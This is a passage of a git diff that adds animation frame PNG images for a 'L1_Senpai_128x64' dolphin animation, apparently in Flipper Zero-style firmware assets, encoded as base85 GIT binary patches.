zI_+M^a3}CMj-NztB^!^Q-_7_$@n;kqE1&Uqop$tHI3NK~NM2IAB-cw3Vo+WbzG><#;VOW>-{-sdwVTslbz8iSR%I=`d*qQf_$fX^dz3wlI zRfu(3=5Kk59kA;4yH_hnKkXRN_-kaGV5c0QvIFFf+nvd3Zx>ad=^YJ^Ga+@UJ~5Tg zb@+E!1w`I*iHzGpg6M7-)kW^0+1|t=9x{BUYC&GS<3s@O0@@?oE0A@CTB+rYo9SV= z%;@n^5@^?Ht)2faK*kx31bpl&csIAwKfK=><@Ei%4L} zs_2J8Z3L32+(XID_dZA9NnRw@OJnm`6mk98G2ZxUKBCRDSnTSkp~2<@JZgZ)H| zmBDHXdpBWasg`09M2w7dw=&|@`2`QJnTo+80UDR7$lkvdtSMu`QdW`x5h1%%K$IzEERJ!Rzf&m8EUWC)k%JItSpAK9JgST$}UStCgs-|@35l`e0k9LtNMyiMk8 zXx-rBV437uHE0&INH98At571O_mWXBN#!!UYsh0#w)A3NUU2dNvZS+O3)(T28(Cc% tW=K)h#Y(u4>y083meBoGlJV9W{RgM!jtfCw5(oeQ002ovPDHLkV1n=vhrj>; literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_16.png b/assets/dolphin/external/L1_Senpai_128x64/frame_16.png new file mode 100644 index 0000000000000000000000000000000000000000..3ec3727989dd33181d644399bfecf66a2146b9d6 GIT binary patch literal 2009 zcmV;~2PXK5P)I;*U-BV`q?}SN%P|IO01b$e z#;)lq*Loxp1j#1Q;69dZ+qPv{WZO0wUk8?D5fOQM_QtP;4-tWzKc2twYvbc?2i~|B zi->IFq@xsoqQFQEBKs&|-$iZTxF3tw03ts&-O~di;*umI&|71?9#)a(lR7pdI=y-$ zQC|)3oktwh{!Ntgu!{I6m05625`-+WSUXXBukRautmq-T;C6E?8N9x_9XkD^?|Z|~ z2PA+&`n~+!5tmWuzbh?dX>R!bGvYyjr-#MTE!%i& zi_rrNsnF*cU{jgb=V~%|Ys~oabPq5(W~bj%>QQvipV|9`?4-|51GDVSBxOcM_OQA3 zMdazNH$b!j7ARb2Ih;A!QR#SO!OzeWGe}T5RP1MKYexVPep5VlM*S+cjSM05xE-9S zAv!myjE$q~tH=NF9Q022c&-&<)2Cg#tn9XaB7fa7P!Dc9p~0gKWX{h+dICA>Q<)=*vdFG(kM?&(jk8=63B*na%qB7m zGxL4~y`g83*V>M>mBuawpod=L$Px5>*s%7Zuz!ZyzY{Y^;6)Qe0jNDW~5J6k#n9s$|f8A3qeTH%EW< zI#3Y>|MFoD8(RxpB?oW|Avp%J`rrhqi+HOXZ{kAuTmfYx*xcT1hy8h>Ws5}^==QD zJ`8rkQwkB_6W>JSPZ9Y?M1H47miWZqQQk$T-irVt*F~%=bVro{|B1*K5&6C>%L?AR z17&URx(%0 z1kc8`?~bhFjsV1D{}z!y*v+?2W@B9imed1B1z~5CvO{IJq8yBh#mnVwuWf+qV5*2sx71?+o*u zlTsysXTKW-J89$y3DEvb`%|&D-L zlnD@Pyz2A}u&2-Z5&4z*8%4U#T&s5^Q5%m0c8wlmq7)Eytc21^n+|4(u(^_GBLbD?hS*_x|N2IWo0Zaj2{>y663gas$@W^S6z?||*ZSDDs z)&<#){EXVOLKeNFz8N$OFv_wbeqNab8982w1fD%ljOx$yMUWTXY)GG3@>SA7H(hl4 zp|$YZApa|&o%P4_1MP?QrF;`;CyoZMZn< zXQcqIZ6!Rj=vFR_?mp;1Mn&8~k(e?BuLi^fWLl|i^38^SR3&)xL#YFiFIpr0d{+kQ z92E_!9j{>6LX19QuhY+4;0#^jjCrHEN5ruQ(#{!ee&p{{dy)L7f{_uXPvq2*cBs8~ r3RpV>6#_(?g-}Ux00000NkvXXu0mjfjU?0v literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_17.png b/assets/dolphin/external/L1_Senpai_128x64/frame_17.png new file mode 100644 index 0000000000000000000000000000000000000000..11b247eca27efdf52b168912f14183521e1c1b63 GIT binary patch literal 1918 zcmV-^2Z8vBP)OPdIS%Uoa+Gy=i1;U!*>LS72w7yYa-#m;*cZm}K#lB%TjN+~@W$$X==AroFN3cK zbO4c<3!wJQV38~jFaEF|t)~Fd>CITbcYlwN%P90;c`amDoyAvi%uff{H5OC1%^%6cjVdko#y1rU1bh{mDlk<}2aUWjyl zCF6^5`xx~_^_eO^(HYwV35W#h6WtYv#xNVoa0stXQC)nd#|-0VVVk`M8U1>HTf6c0 z&Fb;cAJF8;;7E983^X1os28E1uTJ}B8b1r$B79n`qnzElEbZ=nyk{cjb#Np^8z%Bx zJ;vVu_TQE0gEEMfMwYjoD4;c6iPXY^!^uG^m~fwqI4AY$;5 zA|qbE8Wjh~`c|AZ<5t<+NB2_e`o@HIG!UI!k7-&(?-1r$vf6Q%>j~xiOopJLqwr@X z(54VsIyS1fo$u~o$X0)5`)6`z?SYq4Gvi`4~R%;#d(hsMo%AR zOg1)*0ISNf$oRHQeAa3A?qq#}k4A%8W0~ksscec2aDbV{iDX@o@WJvx;M1B}he8Gd#R zL^Y1t`gTORBIy3rI>3J-^4?n89fAqXZDxO#HB9x&;eJn<@fS;|kcQpBm zYT+!|%-oeZ7+ueb0xZH8asnKnQk3~<-#%mwDYueIADzE4#uk;%asq273;S$$fJO43 z4fNV)g+K4apm}Gb@)nNKjd22R>{-w{?l^#_lxhFfTKjY60uY=2sD_%Rm?1A-h`Zw6>p)I8a<6+}%fl5tNBXUB z_}y;^VN0Enqd=muC=Z^^x~u6_<@Amim?<>b{@MKYz&`zo7?$~4VG$ubi~X*0I_4_q zVCI}*R7QrE&F!992SA1fsAWO?Y)7$D3pJyzDg)6=d}DGeA`><--A3_8;}}lsIG2E2EBg z7`zk5rqfwft+A;572&R{jDw;KL5)YB#2Eb?3j_zsWBsDGBWO(sbu@X z6nP?ErrTjD_^DG;P^jLqtlSZdjAd#bNAzH?g`y*?f;kfzedS3pZW1ey+Wgxf1S5+z_m; zS(-RfJMbbfdpO~L7-7@9i1k;2BxU$hNv5N4NC~mOOWP(Hc^IAJgKgIx+>!2c&(eX(CEYeoxMBIzbYFcaZ8&dcE$l)8?1ONa407*qoM6N<$ Ef|8}Dz5oCK literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_18.png b/assets/dolphin/external/L1_Senpai_128x64/frame_18.png new file mode 100644 index 0000000000000000000000000000000000000000..bb15041331abe5f7a1007befcd37135b1f0b6381 GIT binary patch literal 1686 zcmV;H25I?;P)V9!Ergj2gmjfkWw1@dEpt`J3!8vQc6QU zFT5h1;7MU#zD94S`e5B9WsJ}%w$)GL=$T>fL zkWu+P8KK-6cpEFqOMBU8RHTolY_u-BC8fv?L_~MlfExh)9uX*=M%!Pt1w_Bgep(+3 z(LH_#Xg1)w*Y2aWzM+Vg6fTV+qZmcB$2i)4?lGjNjc3uUG5P%YJueG*5DBc7WR%O` zI+klUPe-)B%QpPGwQol!F*`bulWX9PuoG)&L1WcP%C&oKLKfBX$VV)Ju5(#ZDKv?h zNuLLrPAD%yr<76p)EEXCSu;NW{=xv3vR1_nd6zV}rkt1dJW0_~nQ z>79V~O@0pnCD1kM?gi2dF#uwSo7PB9MBCdeCx{-?X0wOaC^ZH|w2!v39^-nq5*eVH z-H=^#&UCYAq6p9?j~0PXKEf1oQAeTmcxH`feJ|IJIxTn@fPda=dqsiV*N{*ykoQA< z_%%(=OjvW}_iJMmpf&N1(K2VRW7X^n8GtL+qEsZS-z{n6uym_Yy|xXGgk)tDd^ILe z89*w}2iGPay^g-GbchiVs%7Hk-i-NZHj>{pR(oLp-q`E)H3dD8iPJ3OTZZ( z;&Q(ik#*7nO)|obduy#T5+aq6M@Xwb$LM4YjXzuVX#J61=$dw7LH%UHeMeqZqZMs` z^CnZ=F?ON+opTWhX#=FY$0>;DH3#r2P=j|oEmt@Tj&iCRyLx3q23Q%HtBu}z?6StF zv0RT%HGO;64?YfV9aP(&tUAG2A?LyKo`~_ivSwk*ABK2nef9n?WlOZ`Vi{RFf+fSV z9wXQ6k^IkafL&o3VrJpS>i{14J$fQ%y@Ph|4xU9jOC0dy9KYu6E1^0-(9?bs(Px(y zi*e*uGYfKSX*mg$J~w_r)|H(L_nnCTxHP{|MI>>QNhcah`+2k>dV3=%a18uGMBj+$ z7ZH7NYkL58iT)M)yEYaAAO9W{_Lts_|A#g={+ThtalQQ`e;fFNh(7)Q{Zz@LhYDBe zVL`I+3OpSHTgt-!k?Cza*$%b2v@UcsLZjP2R8H&m@${!*9kjEh@jcifN8peZMz38^ z_0i+_Dd(KI5Qo5@MD(?)(MH%I8H}FWN0jG1?3UifKITEtO6)MNXi0d~Ga6GTlmkeG zB#vIlR?IB-)?`YwIzg>(6lONBMa>S;)Pfa}HR{zbYn-0SpOo=n0BKZD_IySsK$vyp z8uid=lvAPcpaVqS=6MfJ(DL>Y!t5iPR}Tq`#qa#fg;zut+nee4z7*rh)4X^*3*dvV zWPnjo)e9{F?q!A}woz}6lTvzp7O=8By811c2qJQ=60Sw}jaAo>K1ByjhP$SJlp$s< zk|n2h4C8&YYse8+I)MaYg+~s66#9rj#&3O%3$0_#3AC|#P&>-2?*!Hsf=3I-$cH3H z6>g$=5RtvlO0+sv3#@shl-eHaJ{}}=Bu)jZDqbG6JPmymR20KSn7}h0(ix56#Zw(X zcGmX9T@$xn^h96n2-wO5R(o%yR%7X>N}z14F3Q&?wZ101~@v>wTT{)Ko)scjug!ac)!vXL6cR(%j4jh z5Q3G&3AnX3T=vsTp`|#$l|i4Dqa0l@LW{q;uA#A!)kbS)$!MAD z3;Q4jK#^X{EHx!oRJc6bQtdoEL(f(w(Arvk&=%o2!8N}WYE`c+#~BUetln#@;mrw3 zTMaGjq0Rm2U&TfheL7D9`qlc4hNat)n6dX;1tiVkEyoX40xjVMM`z!bT+i0F0ud(g gj3t5cHEmn|2Mp`eeNyah;Q#;t07*qoM6N<$f`7{!ssI20 literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_19.png b/assets/dolphin/external/L1_Senpai_128x64/frame_19.png new file mode 100644 index 0000000000000000000000000000000000000000..f953c8ef1950ee6ae7dd15ce03c7a56d931e8f5c GIT binary patch literal 1593 zcmV-92FCe`P)q$gGRCt{2T-%P@I1H7I01I><`v0HVhb~Z{fcBvygTwMJQgS9a zK;a~oC5k+}Nb>aPz4!LU%i`QEz#Dt2G|ZN4=Zr|=E<>E8DMC$=5?+gYU$*G=b0UK1+>G7e;7h( z3ZUBK0t4Q|xrYl$(wNeOvN4F@F;JB^S4N4mHGZ<(Y9wU60CEH%=d)(+hQzypL-4pB;AL?Qxlp2N8D&%ST;{&ToKwM^Lt1}T5*NKx5gXY zk`g4PREAusZ!XtMSeYWuoyNE3R7x4J2-U~{$I2|UEUN_XN`h-^mD@YN1$8ZsflQ&X7cv7B*Px}Ct>K#_J z!;_##;pcI`+{CC!%uY_~oAXAiOrGe$$-L9^2iU`)h|vZtk-$?6aBZ`QVCm0WFIc=Z zI#y;Od(N;>GT69k>4JhMEM_PIMllOKMJF6XD(-gSlqN&vYz&wdEV(~Yc)@Y*3`)LP znJeZD^?!2Vgev&pJ?u4FfjF*F_Io^Z1u7!Z4qOoc8`NVouF~~*epG?GNI@0F&j_*x z;MTR8vLl{9qrA*wC_4U3F;@kv)3%280jNeWzvJJyPOY9llM*o|^oK7RX_EgYv@F0Xob**FqrMJ8?>4U+d)6usv6 z0fqn{pMN*zC|MkgX~TJ=WE3h|tw6@g#j+nVLr{;5*FJ!DZLR$PpC4Y2iLe(Efy&{# zmRgZI!t%_HWi7i80Kb2H{toX)mN*&9KKT0%^**B1I{c-4SNSh^hHTnQ2>+Bq6 z!#`d{QBdCrq`t3MuHYTFG49=nFl+qi29y=lss-AQJPV)%q70G&ZX5U+Q04jApbF7J zgvT9(%R*%?)%vo0ULliZoKFz|H(Kp|-c1s&53AgfUA(V`5fOSPUI^J85e7U4jrPBr z2-^5Ke^;RV{|ThR4n{NzWGICyj8^xS-R;niB)nAs!{UkmrZ`+^4L!L#B04u-7;*4ykMQ5pe; zFy2TIUF+_8Bj_%O5&`Qtl>l&%h+!x)R3Db?#w>|FM4x)w~n|u7Q$?AcfGC+tXgGj5HQ3 rBfvFaBKs|Q^e#JYt*w7w!Giw*R39cKIu>1m00000NkvXXu0mjfTl?|s literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_2.png b/assets/dolphin/external/L1_Senpai_128x64/frame_2.png new file mode 100644 index 0000000000000000000000000000000000000000..36c3b4abe1768c8cace03ee61dea063f00ada2d5 GIT binary patch literal 1879 zcmV-d2dMaoP)_^tiM?~TXV3fwpsn~3af zr=t*nyg&;LBJW9H&NE%DZ+PZX2CT{5F*cF<#_$s*c<(LqQ>lkTjN+Vu(7%y+Wl?pZSeJg1Q79a z0n{ED%#+1%=MU?#wGzPFy;0WB;&)GS>AC(pEX>Cj0bUx5rCVfpD=U)^WJrZR&qS2p zXq-txw#NE19V_ZNKpPnCewL|w-a&uPK3|A-`id~n``ltxNQ&~R>}I3#Mdalwo4_-G z1#;I>4A1OruXG$;_*n+b$jOqdvZ=D4t*kc!Xr;0baw_90Pa89Y(DU}9N}!AZv-(yl zE!I|DU#K%C;Yv9P$Gy6VK=P1^A31TKZFl0Q(D2^mk zFA0#bBH3PU#bk?+(?HhQQv|i!8_2l*RoVV596_M0G0`{#&%SR@0&Rz^Vv)i)~i%AH2_8ePkm5WwO@G|-~rDLyf#SFtLTS#tGwNj?7SABEZyA}YtK$mS7O!A$*T z$zq9IZ|=13J1zr9jql|I))RQLGuJCR&GI^)Ec84CwO0WY2>Biy)0^d|^szum=@d#!-pmEbrjSsdzpQUe(lt@QWcm6J)bq zb~E-m+J&tCT@6O+Y{{(OUm+YU`(}{d#h%MU)q(XQvkg2d&t~Bj4{`;gYotOzFQSq% z<0)pyX)>y=-Wzi@L-ykI?*>M3lP!LA=b`cJ^J*MDpNGQpM;PY}5`>R}!Q%WaB7cg=cMe1C@~yedkz?VrV{XG0vhW6Wg1UOW!rupIuYtjL`Qc4m zu=DIs!Vx8^%~4j)`$m9FO%B@16lG=DnS@~Xdz7c}jLitrize%Z0ISZ`wS4sSZwmSaCx7^($d*0`KH&)}$-lKO)za zy-M`xTVF@-Tc2LM{6a{kEMg0c6h9KtVkC2!u-&5PKG8Zy@;vVw5!|!cO9;ri7Tr%X zQvV%UUTGaZ0d{??VZ4%%jc4nPJce$2%K>!l86DVUT-R!3-TSCMdhurv-6MgXkB!NY zz^)Cl*&6}8MB{3)w5m^b=b+@P>S3y$w0(|b^m+oM-?nY<-wUvD29W?My8_Y8%+MiP zH0?IgywS6Rs*a3&Om=l1+aG>AICCQ_-Fuc~BMXe`Yb)D}s~P=9^odBoWUxxX_HTID z28*aPMEyq)DQ|V?nXi)UqCc&xCvP-I&_JF#l8q8{3->`#)c~ke(GO&*aq;MC0s-kC zmB1P^i9BO1Y&Gyef@dXrh=H?7u+j^7`m?w^6ImN*gKFE^4QR)_l!3aV77$J9RSPV1 zdo%9vFl%geVa*HFTlIt*g2 zMDKDN7qc-xJGXtm5;IBMurjF?=|5NbssgO5@C2g7$ht)q0(y`o!I54-j}^(C)Qu#2 zC=_JY#U|;t4gORtiY2V1(Bp0L!EUaH7*`{~hz_G9Kw;MsqO~J}>V8k%nJIz{rYE$e zUz;e3lT{+17&g+cfi2o7yg1BIx$Y&1Sv{VSF+7%6fIP*>VrPsTxzcJj-=kl&fjoG9 zyb1-q(m8&N^NnB0G;JG-RgsJc%F`kl{G1*w%<88c9(3=GI5TJ*I$TN5$#9sIAH?tN^?*F8!@bg3) R;+6ma002ovPDHLkV1jF*qVE6z literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_20.png b/assets/dolphin/external/L1_Senpai_128x64/frame_20.png new file mode 100644 index 0000000000000000000000000000000000000000..d683b9f625f773ebfba1ae7b290f962e80c5a0f6 GIT binary patch literal 1281 zcmV+c1^)VpP)5Y=Xt`7%i<+kfE%&632<@T1h_bE0$dz70WOZ$$j*=BKtDgv6a6>u zgr$~&+IM+pm*nb*N&|b!?;(0ZIf`w^7A^Y-Axpq6%0G_dNmh#Nt-M$}S>R59U6fz? zu9u@Ci-ZK!_q^e@1V{#-&2>s#dxltMgrx+~Fuo_&aU2h;Y=cFQiEaCplAs`(499t% zr*-72b#)`=erb_;!u7p;eEOi3*UI2Hn+Mu$R@X(f<4pjn`q zA@IYXU6!yl-<#xVw}ab2D~sY=MYUHgtjAeW^CELAXE*_7Yya#SPhhUT{=3A2TQ6XZ zS}rV(TSfq@!B|_E1=>l>LQn}pJpi@dKYG>+*c#ot=fY!by*|R1fDxjVUO*{BXW2*L zA{_x{mKGro2hvDBitI}WV4<+c4IhB<##ZF!jWx^(V3GTe-dR1_J;jgC9as@Gg6L+a zf?c;T7t{rIwqgxTJb-1&H&d)+^JUg&Cgpp3ffoSzWJXP%1qre#UJC6PUIFO)+8HN| zx<}wCd$#iR2#*-R!m6y@GY1*TxdWbpKx%E8%5E%j-@!7jf?*cGP}DB~_^OuX1`8JF z5G=BQ?*QkaA;1~_KHN@&qv@M{9J7S5gy<- z{89b~bd(vqq&=IqhD$^jhv` z6I=iBK-=d?##&a6yy$lWSGl{DnLr&4bFMvEX2q+KoU7)LQ?6%w01vE=1FV$ae%^}- zyqAjFx-n3_M2#l`aFvwdxK@3&P=1X}!CwJJ0;$&t{h2rodIQGtr z)h?$^uO&kCQ?VX(08U%Is-A>Il6Sf7XR&?&VIc_MSwYsyuOV%hv(~Ou3U@r%#?>mQ r{?DM5f?~?cWI0rDl#eZCt7C>wS1=;$EP)zbW*x_N?8Gyj zPpVexP7){n{F`aZaU2KS_^^1{Ex-*Qlu}INZUUSfrIfDnC8YT5Ezpg4SgoDHO@I@@ zQ}Gq)2vACaJ1_kYsnV@ymW}{7Vl2Ifn*d3$Qt22s0XD%?;WHsKRT)_0|1N7-0j_Mb zpr?FkF7=^3z^a5ZiqIaipOyfbtA!OF%xmvy2!It@!@#V2Ta7a*z9J0)B&Y}MaR^={ zidMQsM$O(*5P%XGdjU_ydmu{&?}6!bS<<7 zvy=e%pfy6)XRYHY86uRP)yg@95}-Zg*#pAkz2~;dkquheLJ80cGi$+~73W#nTc`44*V@mg2qTdRZY@#RZtm2}o zhaHxx^_W{5L0aZg^}dJly~potNVSy^XG|KndVtvj!kxdJ%BSQ3$d&z5GFjxD_5dEW zxhK5iy>&iopFz4-n?qUGGZP@2Rd~yT4^~0~ue?AzPpf=w)uARpq~fja-_z=Q`{NQ- z>Uk@)d56XF@tk4;WV3jHIIG9N7KYc8uB}xNwSK#{c3#e_3<;1?@c?^c{pe+tSve~3 z8Y9JXeHG5DbgO_}ikCEo0DR@L#P|w}MS4RTu3D5*XaekfAFuzX9OO%me`OO(jZs z(mM!`#*U=Mm#jmDBda%faZvsb0QfUA0dBU`p9oNM*R^q}w@dk0MoTY*DpQB!40i#q z0Pr0EegVK&<=Dr?H|8ACu6!nGlqSKJlJIF>B>~<5;1j%C{3Y7RvqV@`22x$p(VCL; z)%Ld5u+p8r6J(akg1X$fow8TA&`?khcZ)mH49#q%C66}igoPwguyEEi9Jv=17 zvmPMQ>a~ZTDJzcxzL}&*s%bzShvJPOP8e@UUxRAD_i~SCvwBQ~-qkhryHbknzl7n1 zydh~6)$d2K+1gX@&6gdc7O+bd5bg5WrbXwXrgwSc6)LhRUvo~Q3PR-pRw=)|p{u{c zpB1eqz#c@J9CDr_oAM>Vdmrsf>;a-nJSw?q*X3mBZJ2BI_B;pm-PzGQACU*xrTi9> zya3PHuF-pz`u=L@?P*AW)yNG?;Zkc$)m(B24N5~GWv csIj~87qbzVAj79-wg3PC07*qoM6N<$f|ZkdMF0Q* literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_22.png b/assets/dolphin/external/L1_Senpai_128x64/frame_22.png new file mode 100644 index 0000000000000000000000000000000000000000..dd241d24ae578441ddb0870387494b574909677c GIT binary patch literal 1102 zcmV-U1hM;xP)-TmB;NUUqxyH1B)8AVfAY!<; z+;zDqyd(WQ{~k9oP^t!yJZO~YA-;x(_>$Lh4yC%g0Ig1I zitZ8qBZyxUcIN)Udb8mrG(s|D-m| zEL+yIuGBu-hxGLd@vrL=MS!0G@ErhtA>z0EA=e9kY@gLnDjmfiXuE^wxURCBK8tc5&r@Jq_1h=T|f~@cmRGe zsfO^c_j3#|nw&%#U~AE}6Go2s9N}AS96krAokT?uJF#M>YbS3OvwrxjVI%@X4WHi8 zN9(Yu$LOp#xeoSBm?Gv9H8^IJgm0_u@X&SeDxxnhl)NxS`;rErFTTe36b;}}1q2XV za7x~8ZWb?n4n=FMJ{e%etdE*c^r*GFB>b!yS|@ngWA;h{SKN66>?L{)?Xs*>DkL{0w58fltrhnwVxG* zUfaFQC@u+;mQT^rt-OqDWGU!YxENR2NRjLmH0X_o$N*G0DLc<*3oNgzTP9%V05ihT z_j0b5N1iD;oVhzR%GQ`J2;snaf35iB&Uu0dZXXvxW909Zh$k(O( zO0^WikN9>h|9pUaT`EO@{AWjeJBAFPJp+4*+7W&oZl4h1b@_4ljQeK<9kG4+00gC3 UrPkqm<^TWy07*qoM6N<$f~Qyv(f|Me literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_23.png b/assets/dolphin/external/L1_Senpai_128x64/frame_23.png new file mode 100644 index 0000000000000000000000000000000000000000..944bdc74e99bc530de3bbf37368532a2dedaa377 GIT binary patch literal 1537 zcmV+c2LAbpP)Mu1*` zAAPD^?QR1S=z%19rX0s{;KbYFvYUYudvPkjo8we~H^->}Z;n#|-W;a_yg4oaP)b4X zS}|%j>YoKKAG7#bjp+R8wE#Gd<3K3|Gp;ii;hjquS@O9=g}PJtBTv=3e+6V2so4Wm zjP6gY!Ez5UVxr#D-)2lY((ctf!g3GLd)8wxbF%zd#fZ+Ud8#^hX-&3!fSHy?X&lFK z`^?_|ODT7s-H?>ox451M=y{On z0<_v^fqEH^=)ANT(YaYPQ3j0?T&&Umh)L<%Vp4obIFg@)dWbdJLsWR5Z)j*)yt40sH{)FMz+S1hsTV+ODyN-nqG#uMxD~&r+|~ zjAz9y3j=#Ce1M+-{=k>To8t#c92g&AM#r!sQvo#mTNHSP@B#cj3s5lei7(*;0pSDV z7fiHcWVK%%OY9bYz21(4dmzMr^qK)MOSARDNmk%k$86D-czJ}ta)$6*#ul<tzP53*|0%XKi2m(u`)?ih4*5U&nE{6yTpy%7?bGHP5XWO`b2%$ZDu!^cEz;3wY}r zvm$*CO2=FW0Pqnl;Ar|=f~eVxm<36>B7v}m-iX$<)p*oVi=H)F$Cm`H5k9y6Q9w8& z7U;dkwZigSG_KlQITPMDj(YuepZE9Z^nTMAh?kev_!M_rz%KXcp*vIfRxi*K*hrY! z9>6+h_i^w}XeKGOu`IS{D`=fpc$CR&6xM#%XA-_w@Lp(yH#)4+rhQR(gs&N+H!6=$NhN7Ei;+v%)LptnDrm08)N{^}+}6`+o#k1_Yi@@VwoO?amsHw1Ubk zCD4qcP6HoR@SdPED*Whn$-i^HRtX<4YyrSy34aGq8FdC)SCF1(1>~ku@My5g;7+Va zlSZ^7!l%OJ;6k4v{9zW*8Z63C1gmQbJszUMr&kIt{OA^AJ`3m#wi=pB+e%~@fY$Qs z)vE|z#Tou>;HnB5w|2T1JD@QD%|VgocPTT-I3tkgaD@IpKn7!(d;1KpmF145akvNI z?N)5T-xOfQzS|OflwM|aPt&GHuO)D446X!L!E3V<$qRh@+dwTr%CyDuW(YnLvkicI n1xX2{LXp+GQ5kXiRA#>bsTpnn;ED`h00000NkvXXu0mjfG)dy~ literal 0 HcmV?d00001 diff --git a/assets/dolphin/external/L1_Senpai_128x64/frame_24.png b/assets/dolphin/external/L1_Senpai_128x64/frame_24.png new file mode 100644 index 0000000000000000000000000000000000000000..3f445593af79067b2b2ab416f92953a1ed9c4cd5 GIT binary patch literal 1414 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 